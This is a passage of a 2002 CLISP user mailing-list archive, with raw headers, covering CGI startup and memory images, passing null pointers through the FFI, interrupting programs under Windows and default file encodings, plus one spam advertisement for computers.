2002 X-Original-Date: 17 Jul 2002 13:59:30 +1200 On Wed, 2002-07-17 at 02:03, Sam Steingold wrote: > > #!/usr/bin/clisp > > (load (concatenate 'string (getenv "DOCUMENT_ROOT") "init.fas")) > > do you know about memory images? > > > > (princ "
")
> >   (princ (shell "set"))
> > (princ "
") > > > > And returns the list of environment variables to the client. > > (NB to access environment variables individually refer > > http://clisp.sourceforge.net/clash.html) > > hmmm.... > I don't like that you refer to clash.html for information on CLISP > internals and I don't like that you have to resort to SHELL to list > your environment. > > I just fixed that. > Now (getenv nil) returns all the environment as an alist and it is > documented in the impnotes. Thanks for implementing this! > > #!/usr/bin/clisp > > (load (concatenate 'string (getenv "DOCUMENT_ROOT") "init.fas")) > dump your own image and use > > #!/usr/bin/clisp -M my-cgi-image.mem > > see It is a great idea and it will mean an initialisation file will be able to greatly increase in complexity without a corresponding increase in startup times. One annoyance is that the memory image should be loaded from a different directory (e.g. DOCUMENT_ROOT--not the current directory where it will not exist). The Catch 22 is that before a clisp or bash shell is loaded I cannot obtain the value of DOCUMENT_ROOT. I don't like hard wiring paths (NB the CGI path only contains "/sbin:/bin:/usr/sbin:/usr/bin" but a symlink from within this path is not obeyed in the #! line. One workaround is to place a symlink to the memory image within each CGI working directory). BTW Joerg-Cyril, no I've only been looking at clisp startups at this stage. And they are impressive. Even though perl will probably have faster startup times I suspect that the ability to dump clisp memory images is a huge bonus, especially as program complexity increases. Regards, Adam From Joerg-Cyril.Hoehle@t-systems.com Wed Jul 17 01:48:14 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17UkTk-0006kP-00 for ; Wed, 17 Jul 2002 01:48:12 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 17 Jul 2002 10:47:09 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 17 Jul 2002 10:47:52 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: a.bignoli@computer.org Subject: [clisp-list] FFI:C-POINTER and C null pointers MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 17 01:49:01 2002 X-Original-Date: Wed, 17 Jul 2002 10:47:41 +0200 Hi, Context: >> * Honorable Aurelio Bignoli wishes to pass either a FFI:C-POINTER interface type (FOREIGN-ADDRESS Lisp object type) or a NULL pointer to a foreign function - a somewhat common request. Sam asks: >does > (h (c-ptr-null REALLY-HAIRY-STRUCT) :in) >help? Not directly. This is a strictly incompatible type (i.e. ptr** instead of ptr*). The C interface code would have to be changed to accomodate this. This sort of double indirection is what CLISP's regexp module uses. regexp does this essentially in order to receive two results from the initialization function: a status code, and the pointer - if successful. So it is used with mode :out. In C, out parameters have to be used to mimic multiple returns (unless you return a single struct with two slots). >I defined an external C variable in hairy.c: >Is there any better solution? Or is such a null foreign pointer >already defined somewhere? Newer CLISP (CVS only) may include exactly such a thing, named ffi_user_pointer (or so). I believe this patch of mine was accepted into CVS. Try (typep (setq v0 (ffi::lookup-foreign-variable "ffi_user_pointer" (ffi::parse-c-type 'ffi:c-pointer))) 'ffi:foreign-variable) (EVAL-WHEN (LOAD) (DEF-C-VAR zp ... "ffi_user_pointer" ...) and use CAST, SETF etc. on zp. >AFAIK there isn't any way to create a foreign >object at runtime. These longstanding shortcomings have been addressed. Newer CLISP let you play with run-time foreign variables, run-time functions and more. Other solutions or work-arounds: o devise a second ffi-call-out that accepts null (and only null), i.e. (foo null :in) -- used I believe in the linuxbindings. o revisit C interface not to accept NULL o I forgot Conceptually, I believe one must realize that passing NULL when a FILE* or HAIRY_PTR* is expected is a braindamage from C, which endangers reliable software. From a functional point of view, there is no such thing as passing an object of the wrong type (NULL) to a function declared as accepting type HAIRY. This is hidden polymorphism. I like the functional approach to interface descriptions and functionality. Java inherited the same braindamage from C. Try supplying a the Java #null object to many functions accepting an object: they crash at some stage with nullpointerexception, instead of simply refusing to be passed in that #null object. And then, where does Java document whether receiving a #null is acceptable for each parameter for each method? I realize this is not really pragmatic approach, it sounds rather puristic. When dealing with foreign worlds, perhaps a pragmatic approach would fit CLISP better ? But then, what do we have type definitions and type checks for, even in C? CVS CLISP may also contain a few utility functions of mine, namely UNSIGNED-INT<->FOREIGN-ADDRESS conversion functions (FOREIGN-ADDRESS-UNSIGNED and its converse). For your purpose, (UNSIGNED-FOREIGN-ADDRESS 0) may be safer to use, since the ffi_user_pointer could be set to any arbitrary value by other application code. 1. Break [20]> (ffi::unsigned-foreign-address 0) # (defconstant FFI-NULL (ffi:UNSIGNED-FOREIGN-ADDRESS 0)) ; doesn't survive/resurrect from image files. Part of the pragmatic approach might be: why not make CLISP accept nil when a C-POINTER type is expected? The answer is that there are some dangerous issues here, right at the next turn (and a cascade of other questions, e.g. what value to return for C-POINTER: nil or #? FFI so far obviously returns a FOREIGN-ADDRESS, my AFFI returns NIL, so the result is not truly opaque in AFFI). It's been some monthes since I last digged into this, trying to provide a precise answer. People also have been begging for c-ptr-null :out or :in-out combinations, which seems appealing, but just doesn't fit the model of types. When one wishes to supply a C function with either NULL or a pointer, the answer (so far) is to forget about CLISP's high-level FFI and :in/:out parameters in general, to put oneself at a C level, where such things don't exist, and feed functions with pointers or NULL (as is possible in CMUCL: it incorporates two levels of abstraction in its FFI). Regards, Jorg Hohle. From Michel.Kervaire@math.unige.ch Wed Jul 17 08:29:05 2002 Received: from mbx.unige.ch ([129.194.8.72]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Uqjf-0001cW-00 for ; Wed, 17 Jul 2002 08:29:03 -0700 Received: from CONVERSION-DAEMON.mbx.unige.ch by mbx.unige.ch (PMDF V6.1-1 #38753) id <0GZE00201GCA07@mbx.unige.ch> for clisp-list@lists.sf.net; Wed, 17 Jul 2002 17:28:59 +0200 (MEST) Received: from PCC270E ([129.194.112.14]) by mbx.unige.ch (PMDF V6.1-1 #38753) with SMTP id <0GZE00MLQGCAP2@mbx.unige.ch> for clisp-list@lists.sf.net; Wed, 17 Jul 2002 17:28:58 +0200 (MEST) From: Michel Kervaire To: clisp-list@lists.sourceforge.net Message-id: <000a01c22da7$d30abd80$0e70c281@unige.ch> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Mailer: Microsoft Outlook Express 5.50.4522.1200 Content-type: multipart/alternative; boundary="Boundary_(ID_5LUEs0SHO43Sm1RX4rSK4Q)" X-Priority: 3 X-MSMail-priority: Normal X-Comment: This message was scanned against viruses by mbx.unige.ch. Subject: [clisp-list] interrupting program execution in CLISP under Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 17 08:30:03 2002 X-Original-Date: Wed, 17 Jul 2002 17:37:14 +0200 This is a multi-part message in MIME format. --Boundary_(ID_5LUEs0SHO43Sm1RX4rSK4Q) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: QUOTED-PRINTABLE Hello, I am using CLISP version 2.28 (2002-03-03) under Windows NT.=20 I would like to know the proper way of interrupting the execution of = a program in order to examine the current values of some variables, and then re= sume the execution from the current position. The use of the key combination CTRL-BREAK actually interrupts the exe= cution=20 of a program. Unfortunately, it does not seem possible to resume the = execution=20 after this interruption. Here are two examples, displaying different troubles. 1) Execution of the command (progn (setq i 1) (dotimes (j 1000000) (incf i))) Pressing CTRL-BREAK during execution produces an immediate exit from CLISP to the operating system ! 2) Execution of the same command, only preceded by the function #'tim= e, namely=20 (time (progn (setq i 1) (dotimes (j 1000000) (incf i)))) In this case, pressing CTRL-BREAK indeed interrupts execution, and displays *** - EVAL : User break 1. Break [...]> At this point, it is possible to take some actions, like examining th= e values of variables. However resuming execution seems impossible. Typing the word continue again produces the immediate exit from CLI= SP. Please help me ! Bye. Michel Kervaire --Boundary_(ID_5LUEs0SHO43Sm1RX4rSK4Q) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: QUOTED-PRINTABLE
Hello,
 
I am using CLISP version 2.28 (2002-= 03-03) under=20 Windows NT.
 
I would like to know the proper way = of interrupting=20 the execution of a program
in order to examine the current valu= es of some=20 variables, and then resume
the execution from the current=20 position.
 
The use of the key combination = CTRL-BREAK=20 actually interrupts the execution
of a program. Unfortunately, it does not seem possible to resume the execu= tion=20
after this interruption.
 
Here are two examples, displaying di= fferent=20 troubles.
 
1) Execution of the command
 
      (prog= n (setq i 1)=20 (dotimes (j 1000000) (incf i)))
 
Pressing CTRL-BREAK during execution= =20 produces
an immediate exit from CLISP to= the operating=20 system !
 
2) Execution of the same= =20 command, only preceded by the function #'time,
namely
 
      (time (pro= gn (setq i 1)=20 (dotimes (j 1000000) (incf i))))
 
In this case, pressing CTRL-BREAK indeed interrupts execution,
and displays
 
    *** - EVAL : User= =20 break
    1. Break [...]>= ;
 
At this point, it is possible to tak= e some actions,=20 like examining the values
of variables. However resuming execu= tion seems=20 impossible. Typing
the word    = =20 continue      again produces the immedi= ate=20 exit from CLISP.
 
Please help me !
 
Bye.
 
Michel Kervaire
 
--Boundary_(ID_5LUEs0SHO43Sm1RX4rSK4Q)-- From samuel.steingold@verizon.net Wed Jul 17 08:53:09 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Ur6y-0005YU-00 for ; Wed, 17 Jul 2002 08:53:08 -0700 Received: (cpmta 29311 invoked from network); 17 Jul 2002 08:53:01 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 17 Jul 2002 08:53:01 -0700 X-Sent: 17 Jul 2002 15:53:01 GMT To: Michel Kervaire Cc: clisp-list@lists.sourceforge.net, ampy@ich.dvo.ru Subject: Re: [clisp-list] interrupting program execution in CLISP under Windows References: <000a01c22da7$d30abd80$0e70c281@unige.ch> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <000a01c22da7$d30abd80$0e70c281@unige.ch> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 17 08:54:02 2002 X-Original-Date: 17 Jul 2002 11:52:59 -0400 > * In message <000a01c22da7$d30abd80$0e70c281@unige.ch> > * On the subject of "[clisp-list] interrupting program execution in CLISP under Windows" > * Sent on Wed, 17 Jul 2002 17:37:14 +0200 > * Honorable Michel Kervaire writes: > > I am using CLISP version 2.28 (2002-03-03) under Windows NT. > > I would like to know the proper way of interrupting the execution of a > program in order to examine the current values of some variables, and > then resume the execution from the current position. Did you try C-c (as opposed to C-BREAK)? I think they are treated differently. Arseny Slobodjuck is our resident win32 expert. I hope he will help you. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Don't hit a man when he's down -- kick him; it's easier. From kaz@footprints.net Wed Jul 17 10:03:20 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17UsCt-0002vi-00 for ; Wed, 17 Jul 2002 10:03:19 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17UsCq-0005cf-00 for clisp-list@lists.sourceforge.net; Wed, 17 Jul 2002 10:03:16 -0700 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: <3D251101.B04D2D6A@ieee.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: *default-file-encoding* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 17 10:04:03 2002 X-Original-Date: Wed, 17 Jul 2002 10:03:16 -0700 (PDT) How is it that in one installation of CLISP 2.27, my *default-file-encoding* is set to charset:iso-8859-1, and in another it is charset:ascii? Strange. From samuel.steingold@verizon.net Wed Jul 17 10:33:54 2002 Received: from h013.c001.snv.cp.net ([209.228.32.127] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17UsgU-0007Cc-00 for ; Wed, 17 Jul 2002 10:33:54 -0700 Received: (cpmta 2795 invoked from network); 17 Jul 2002 10:33:47 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.127) with SMTP; 17 Jul 2002 10:33:47 -0700 X-Sent: 17 Jul 2002 17:33:47 GMT To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: *default-file-encoding* References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 17 10:34:06 2002 X-Original-Date: 17 Jul 2002 13:33:44 -0400 > * In message > * On the subject of "[clisp-list] Re: *default-file-encoding*" > * Sent on Wed, 17 Jul 2002 10:03:16 -0700 (PDT) > * Honorable Kaz Kylheku writes: > > How is it that in one installation of CLISP 2.27, my > *default-file-encoding* is set to charset:iso-8859-1, and > in another it is charset:ascii? Strange. *default-file-encoding* et al are computed at start time using your environment. I bet that you have LANG set to en_US in one terminal and C in another. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Takeoffs are optional. Landings are mandatory. From Marketingwap@millenniumdata.com Wed Jul 17 16:36:15 2002 Received: from [209.47.59.158] (helo=wap.millenniumdata.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17UyL8-0008GM-00 for ; Wed, 17 Jul 2002 16:36:15 -0700 Received: from vlrc.net ([172.16.50.158]) by wap.millenniumdata.com with Microsoft SMTPSVC(5.0.2195.4905); Wed, 17 Jul 2002 19:35:16 -0400 From: "Marketingwap" To: "clisp-list" MIME-Version: 1.0 Content-Type: multipart/mixed;boundary= "----=_NextPart_000_00BD_A77C623.63E7D347" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 Message-ID: X-OriginalArrivalTime: 17 Jul 2002 23:35:16.0977 (UTC) FILETIME=[9B3BA610:01C22DEA] Subject: [clisp-list] Compaq and IBM computers starting from $125 !!! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 17 16:37:01 2002 X-Original-Date: Wed, 17 Jul 02 17:05:36 Eastern Daylight Time ------=_NextPart_000_00BD_A77C623.63E7D347 Content-Type: text/html Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9u YWwvL0VOIj4NCjxIVE1MPjxIRUFEPjxUSVRMRT5NZXNzYWdlPC9USVRMRT4NCjxNRVRBIGh0 dHAtZXF1aXY9Q29udGVudC1UeXBlIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11cy1h c2NpaSI+DQo8TUVUQSBjb250ZW50PSJNU0hUTUwgNi4wMC4yNzEzLjExMDAiIG5hbWU9R0VO RVJBVE9SPjwvSEVBRD4NCjxCT0RZPg0KPERJVj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj48 Rk9OVCBmYWNlPSJUaW1lcyBOZXcgUm9tYW4iIHNpemU9Mz4NCjxIUj4NCjwvRk9OVD4NCjxD RU5URVI+DQo8UD48Rk9OVCBmYWNlPUFyaWFsIHNpemU9MT5Zb3VyIGVtYWlsIGFkZHJlc3Mg d2FzIG9idGFpbmVkIGZyb20gYSBzdWJzY3JpYmVkIA0Kc2VydmljZSwgUmVmZXJlbmNlICMg NDA2MC02MTA2PEJSPklmIHlvdSB3aXNoIHRvIHVuc3Vic2NyaWJlIGZyb20gdGhpcyBsaXN0 LCANCnBsZWFzZSA8QSANCmhyZWY9Im1haWx0bzptYXJrZXRpbmdAbWlsbGVubml1bWRhdGEu Y29tP3N1YmplY3Q9VW5TdWJzY3JpYmUgZnJvbSBMaXN0Ij48Rk9OVCANCmNvbG9yPSMwMDAw ODA+Q2xpY2sgSGVyZTwvRk9OVD48L0E+PC9GT05UPiA8Rk9OVCBmYWNlPUFyaWFsIHNpemU9 MT48QlI+VGhpcyANCmVtYWlsIHdhcyBpbnRlbmRlZCB0byBiZSByZWNlaXZlZCBpbiBIVE1M IGZvcm1hdC4gSWYgeW91IGRpZCBub3QgcmVjZWl2ZSB0aGlzIA0KZW1haWwgaW4gdGhlIHBy b3BlciBmb3JtLCA8QSANCmhyZWY9Imh0dHA6Ly93d3cubWlsbGVubml1bWRhdGEuY29tL2J1 eWVyc2FkdmFudGFnZS9HcmVhdF9EZWFscy5odG0iPjxGT05UIA0KY29sb3I9IzAwMDA4MD5D bGljayBIZXJlPC9GT05UPjwvQT48L0ZPTlQ+PC9QPg0KPEhSPg0KDQo8UCBhbGlnbj1jZW50 ZXI+PElNRyBoZWlnaHQ9MTE5IA0Kc3JjPSJodHRwOi8vd3d3Lm1pbGxlbm5pdW1kYXRhLmNv bS9idXllcnNhZHZhbnRhZ2UvaW1hZ2VzL2dsb2JhbF9IZWFkZXIuanBnIiANCndpZHRoPTYy MSBib3JkZXI9MD48QlI+PEI+PEZPTlQgZmFjZT1WZXJkYW5hPkNvbXBhcSZuYnNwOyBjb21w dXRlcnMgc3RhcnRpbmcgDQpmcm9tIDxGT05UIGNvbG9yPSM4MDAwMDAgc2l6ZT02PiQxMjUh PEJSPjwvRk9OVD48L0ZPTlQ+PC9CPjxTUEFOIA0KY2xhc3M9MzgyMTYyOTIxLTI4MDYyMDAy PjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPjxCUj48QSANCmhyZWY9Imh0dHA6Ly93d3cubWls bGVubml1bWRhdGEuY29tL2J1eWVyc2FkdmFudGFnZS9HcmVhdF9EZWFscy5odG0iPiZuYnNw OzxGT05UIA0KY29sb3I9IzgwMDAwMD48Qj5DTElDSyBIRVJFPC9CPjwvRk9OVD48L0E+PC9G T05UPjwvU1BBTj48QlI+PEJSPjxCPjxGT05UIA0KZmFjZT1WZXJkYW5hPk5ldyBJbnZlbnRv cnkgSnVzdCANCkFycml2ZWQhPC9GT05UPjwvQj48L1A+PC9DRU5URVI+PC9GT05UPjwvRElW PjwvQk9EWT48L0hUTUw+DQogICAgIA== ------=_NextPart_000_00BD_A77C623.63E7D347-- From ampy@ich.dvo.ru Wed Jul 17 17:03:38 2002 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17UyjV-0003gD-00 for ; Wed, 17 Jul 2002 17:01:29 -0700 Received: from KAVUN ([192.168.81.32]) by chemi.ich.dvo.ru (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g6HNxDH11570; Thu, 18 Jul 2002 10:59:13 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1613149088.20020718105824@ich.dvo.ru> To: Michel Kervaire CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] interrupting program execution in CLISP under Windows In-reply-To: References: <000a01c22da7$d30abd80$0e70c281@unige.ch> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 17 17:04:15 2002 X-Original-Date: Thu, 18 Jul 2002 10:58:24 +1000 >> I am using CLISP version 2.28 (2002-03-03) under Windows NT. >> I would like to know the proper way of interrupting the execution of a >> program in order to examine the current values of some variables, and >> then resume the execution from the current position. Sam> Did you try C-c (as opposed to C-BREAK)? Sam> I think they are treated differently. Sam> Arseny Slobodjuck is our resident win32 expert. Sam> I hope he will help you. I have nothing to add to this. Ctrl-break should end Clisp session, Ctrl-C - just current program. I'll look why Ctrl-break doesn't interrupt Clisp session. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From Michel.Kervaire@math.unige.ch Thu Jul 18 08:34:12 2002 Received: from mbx.unige.ch ([129.194.8.72]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17VDIA-0001yv-00 for ; Thu, 18 Jul 2002 08:34:10 -0700 Received: from CONVERSION-DAEMON.mbx.unige.ch by mbx.unige.ch (PMDF V6.1-1 #38753) id <0GZG00901B8U7T@mbx.unige.ch> for clisp-list@lists.sourceforge.net; Thu, 18 Jul 2002 17:34:06 +0200 (MEST) Received: from PCC270E ([129.194.112.14]) by mbx.unige.ch (PMDF V6.1-1 #38753) with SMTP id <0GZG007J9B8UX1@mbx.unige.ch>; Thu, 18 Jul 2002 17:34:06 +0200 (MEST) From: Michel Kervaire Subject: Re: Re[2]: [clisp-list] interrupting program execution in CLISP under Windows To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Message-id: <000501c22e71$b5ee7140$0e70c281@unige.ch> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Mailer: Microsoft Outlook Express 5.50.4522.1200 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT X-Priority: 3 X-MSMail-priority: Normal References: <000a01c22da7$d30abd80$0e70c281@unige.ch> <1613149088.20020718105824@ich.dvo.ru> X-Comment: This message was scanned against viruses by mbx.unige.ch. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 18 08:35:01 2002 X-Original-Date: Thu, 18 Jul 2002 17:42:23 +0200 Thank you for your answer. Indeed, C-c does interrupt the current program. Unfortunately, it is not always possible to resume execution. The ability to properly resume execution depends on the message displayed after pressing C-c: - If the displayed message contains "** - Continuable Error", then no problem in this case, pressing ":c" or "continue" resumes execution. - However, if the displayed message contains instead "*** - Ctrl-C: User break", then resumption seems to be impossible. I should add that the second possibility does not occur with the simple program in my previous message. However, it does occur with more complicated programs. Best regards, Michel Kervaire ----- Original Message ----- From: "Arseny Slobodjuck" To: "Michel Kervaire" Cc: Sent: Thursday, July 18, 2002 2:58 AM Subject: Re[2]: [clisp-list] interrupting program execution in CLISP under Windows > > >> I am using CLISP version 2.28 (2002-03-03) under Windows NT. > >> I would like to know the proper way of interrupting the execution of a > >> program in order to examine the current values of some variables, and > >> then resume the execution from the current position. > > Sam> Did you try C-c (as opposed to C-BREAK)? > Sam> I think they are treated differently. > > Sam> Arseny Slobodjuck is our resident win32 expert. > Sam> I hope he will help you. > > I have nothing to add to this. Ctrl-break should end Clisp session, > Ctrl-C - just current program. I'll look why Ctrl-break doesn't > interrupt Clisp session. > > > -- > Best regards, > Arseny mailto:ampy@ich.dvo.ru > > From a.bignoli@computer.org Thu Jul 18 13:31:03 2002 Received: from [212.110.54.10] (helo=shark.fauser.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17VHvT-0008Ni-00 for ; Thu, 18 Jul 2002 13:31:03 -0700 Received: from dalet.fauser.it (pool1-ip6.fauser.it [212.110.54.71]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id WAA17663; Thu, 18 Jul 2002 22:30:56 +0200 (MET DST) Received: (from aurelio@localhost) by dalet.fauser.it (8.11.6/8.11.4) id g6IKCiN08887; Thu, 18 Jul 2002 22:12:44 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15671.8508.167799.315589@dalet.fauser.it> To: clisp-list@lists.sourceforge.net CC: "Hoehle, Joerg-Cyril" Subject: [clisp-list] FFI:C-POINTER and C null pointers In-Reply-To: References: X-Mailer: VM 7.03 under Emacs 20.7.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 18 13:32:02 2002 X-Original-Date: Thu, 18 Jul 2002 22:12:44 +0200 >>>>> "Jorg" == Hoehle, Joerg-Cyril writes: Jorg> (ffi::lookup-foreign-variable "ffi_user_pointer" Jorg> (ffi::parse-c-type 'ffi:c-pointer))) 'ffi:foreign-variable) really interesting! I didn't know of ffi::lookup-foreign-variable. Jorg> Other solutions or work-arounds: Jorg> o devise a second ffi-call-out that accepts null (and only Jorg> null), I examined this solution, but I discarded it because I was going to write a further Lisp layer with functions like this: (defun high-level-do-something (&key (hairy-struct NULL)) (do-something hairy-struct)) Using a NULL foreign variable as default value for :hairy-struct would save an (if (null hairy-struct) ...) in function's body. Jorg> Conceptually, I believe one must realize that passing NULL Jorg> when a FILE* or HAIRY_PTR* is expected is a braindamage from Jorg> C, which endangers reliable software. I agree with you, but I didn't write the library I'm interfacing, and modifying the (free) sources is not a viable solution. Jorg> For your purpose, (UNSIGNED-FOREIGN-ADDRESS 0) may be safer Jorg> to use, since the ffi_user_pointer could be set to any Jorg> arbitrary value by other application code. I think I'll try this solution, I only need to perform a cvs update on my local copy of CLISP sources. Many thanks for your hints and useful insights into CLISP ffi. Aurelio From Joerg-Cyril.Hoehle@t-systems.com Fri Jul 19 07:01:16 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17VYJm-0003Ae-00 for ; Fri, 19 Jul 2002 07:01:14 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 19 Jul 2002 16:00:20 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 19 Jul 2002 16:01:03 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] FFI:C-POINTER and C null pointers MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 19 07:02:04 2002 X-Original-Date: Fri, 19 Jul 2002 16:00:57 +0200 Aurelio Bignoli wrote: > Jorg> (ffi::lookup-foreign-variable "ffi_user_pointer" > Jorg> (ffi::parse-c-type 'ffi:c-pointer))) 'ffi:foreign-variable) >really interesting! I didn't know of ffi::lookup-foreign-variable. I should have said that you shouldn't use that in application code. I feel that I ought to document internals so people can propose high-level forms, built on the internals, for inclusion in CLISP's FFI. For access to the variable now in CVS CLISP, existing forms are sufficient: (eval-when (load eval) (ffi:def-c-var an-ffi-pointer (:name "ffi_user_pointer") (:type ffi:c-pointer))) The EVAL-WHEN is important so that compilation of the containing file generates no C code as a side effect of compiling FFI:DEF-C-* forms. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Jul 19 07:03:31 2002 Received: from mail1.telekom.de ([62.225.183.235]) by 